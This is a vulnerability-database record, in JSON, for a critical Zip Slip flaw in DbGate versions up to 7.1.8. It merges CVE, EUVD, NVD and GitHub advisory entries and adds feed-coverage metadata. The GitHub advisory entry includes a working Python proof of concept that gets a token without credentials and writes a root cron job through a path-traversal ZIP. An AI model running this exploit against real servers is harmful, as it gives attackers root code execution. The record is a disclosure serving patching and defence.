{"id":"EUVD-2026-48377","revision":null,"records":[{"revision":"0e95c90e701c49c0a59e0d78ac79db0d","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-47669","aliases":[],"title":"DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE","description":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Version 7.1.9 fixes the issue.","state":0,"publishedAt":"2026-07-23T19:13:15.469+00:00","modifiedAt":"2026-07-24T20:09:54.441+00:00","affected":[{"ecosystem":"Vendor product","name":"dbgate","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"dbgate\",\n                    \"product\": \"dbgate\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 7.1.9\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"severity":"CRITICAL"}],"references":["https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56","https://github.com/dbgate/dbgate/releases/tag/v7.1.9"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-47669","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-47669","identifiers":["CVE-2026-47669"]},"retained":false,"historicalAffected":[]},{"revision":"55be466e31b1419697c021b95e2161db","observedAt":"2026-11-23T15:34:40.586+00:00","statement":{"source":"euvd","id":"EUVD-2026-48377","aliases":["CVE-2026-47669","GHSA-h535-j5hr-mv56"],"title":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A …","description":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Version 7.1.9 fixes the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.3,"severity":null}],"references":["https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56","https://github.com/dbgate/dbgate/releases/tag/v7.1.9"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-48377","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 23, 2026, 7:13:15 PM","dateUpdated":"Jul 24, 2026, 8:09:54 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-48377","identifiers":["EUVD-2026-48377","CVE-2026-47669","GHSA-h535-j5hr-mv56"]},"retained":false,"historicalAffected":[]},{"revision":"93b5f5272a484630b3350c3679943d83","observedAt":"2026-10-25T12:17:26.301+00:00","statement":{"source":"nvd","id":"CVE-2026-47669","aliases":[],"title":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A …","description":"DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Version 7.1.9 fixes the issue.","state":0,"publishedAt":"2026-07-23T20:17:08.357+00:00","modifiedAt":"2026-07-28T16:17:16.127+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.3,"severity":"CRITICAL"}],"references":["https://github.com/dbgate/dbgate/releases/tag/v7.1.9","https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47669","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-07-23T20:17:08.357","lastModified":"2026-07-28T16:17:16.127"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-47669","identifiers":["CVE-2026-47669"]},"retained":false,"historicalAffected":[]},{"revision":"d4019c6c3dcf491e8a40c4fd70aec58e","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-h535-j5hr-mv56","aliases":["CVE-2026-47669"],"title":"DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE","description":"The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem.\n\nIn the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker.\n\n**Affected code:**\n\n`packages/api/src/shell/unzipDirectory.js`, line 27:\n```js\nconst destPath = path.join(outputDirectory, entry.fileName);\n// No check that destPath stays within outputDirectory\n```\n\nCalled from `packages/api/src/controllers/archive.js`, lines 291-293:\n```js\nasync unzip({ folder }) {\n    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });\n    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));\n```\n\nThe archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.\n\n**PoC:**\n\n```python\nimport requests, zipfile, io\n\nTARGET = \"http://localhost:3000\"\n\n# Get auth token (no credentials needed in default Docker)\nr = requests.post(f\"{TARGET}/api/auth/login\", json={\"amoid\": \"none\"})\ntoken = r.json()[\"accessToken\"]\nhdrs = {\"Authorization\": f\"Bearer {token}\"}\n\n# Create malicious ZIP with path traversal\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, 'w') as zf:\n    zf.writestr(\"../../../../../../etc/cron.d/dbgate-pwn\",\n                \"* * * * * root id > /tmp/pwned\\n\")\nbuf.seek(0)\n\n# Upload ZIP\nr = requests.post(f\"{TARGET}/api/uploads/upload\", headers=hdrs,\n                  files={\"data\": (\"evil.zip\", buf, \"application/zip\")})\ninfo = r.json()\n\n# Save to archive\nrequests.post(f\"{TARGET}/api/archive/save-uploaded-zip\", headers=hdrs,\n              json={\"filePath\": info[\"filePath\"], \"fileName\": \"evil.zip\"})\n\n# Trigger Zip Slip - writes cron job to /etc/cron.d/\nrequests.post(f\"{TARGET}/api/archive/unzip\", headers=hdrs,\n              json={\"folder\": \"evil.zip\"})\nprint(\"Check /tmp/pwned after 1 minute\")\n```\n\n**Impact:** Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.","state":0,"publishedAt":"2026-06-05T16:26:01+00:00","modifiedAt":"2026-06-05T16:41:31.41103+00:00","affected":[{"ecosystem":"npm","name":"dbgate","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.1.9"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56","https://github.com/dbgate/dbgate","https://github.com/dbgate/dbgate/releases/tag/v7.1.9"],"sourceUrl":"https://github.com/advisories/GHSA-h535-j5hr-mv56","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-h535-j5hr-mv56","identifiers":["GHSA-h535-j5hr-mv56","CVE-2026-47669"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-23T18:27:17.7572288+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-23T18:27:17.7572288+00:00","lastSuccessAt":"2026-11-23T18:27:17.9758173+00:00","error":null,"lastVerifiedAt":"2026-11-23T18:27:17.9758175+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d008fb8e7e5a0f37166ee57a6d9d22b27e49b9d9438b4ce80c4c6c326ac5d75a-1d24b1a69e2183157b839326f98b3e034f8a4de83f8cec6f5f44595d98df2adf","complete":true,"records":430815,"lastAttemptAt":"2026-11-23T18:25:28.0856631+00:00","lastSuccessAt":"2026-11-23T17:25:41.1725427+00:00","error":null,"lastVerifiedAt":"2026-11-23T18:25:28.0856631+00:00","snapshotPublishedAt":"2026-11-23T17:23:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e327048394824bd39bedd375b7b42309","complete":false,"records":13930,"lastAttemptAt":"2026-11-23T18:36:55.0271309+00:00","lastSuccessAt":"2026-11-23T18:36:55.022+00:00","error":"324 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-23T18:36:55.022+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13643,"expectedIdentifiers":13978,"failedIdentifiers":324},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-23T18:27:17.7572288+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-23T18:27:17.7572288+00:00","lastSuccessAt":"2026-11-23T18:27:17.9765602+00:00","error":null,"lastVerifiedAt":"2026-11-23T18:27:17.9765603+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a3830779e2b24402abae3167f2abe4f1","complete":true,"records":13942,"lastAttemptAt":"2026-11-23T18:27:19.0376964+00:00","lastSuccessAt":"2026-11-23T18:27:19.034+00:00","error":null,"lastVerifiedAt":"2026-11-23T18:27:19.034+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13978,"expectedIdentifiers":13978,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-a9c862bcf8bde52ce182f69609f4579ca2fc6956e44f694dddf6a66800619683","complete":true,"records":9989,"lastAttemptAt":"2026-11-23T18:27:17.6896495+00:00","lastSuccessAt":"2026-11-22T16:25:54.6432964+00:00","error":null,"lastVerifiedAt":"2026-11-23T18:27:17.6896495+00:00","snapshotPublishedAt":"2026-11-22T16:18:32+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-23T18:25:28.2387412+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-23T18:25:28.2387412+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-15e801f03affdaac7ba10268556f4d0b3e1b9f897dae85fdcade5fc30d25011c","complete":true,"records":3217,"lastAttemptAt":"2026-11-23T18:27:17.7092886+00:00","lastSuccessAt":"2026-11-23T17:27:41.2539213+00:00","error":null,"lastVerifiedAt":"2026-11-23T18:27:17.7092886+00:00","snapshotPublishedAt":"2026-11-23T16:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-2cf94ecce5da48b038cf40cecf367746ff39bd7656a9415282993937f6e7b06d","complete":true,"records":232902,"lastAttemptAt":"2026-11-23T18:27:17.5500547+00:00","lastSuccessAt":"2026-11-23T18:27:16.4553485+00:00","error":null,"lastVerifiedAt":"2026-11-23T18:27:17.5500547+00:00","snapshotPublishedAt":"2026-11-23T18:03:31+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}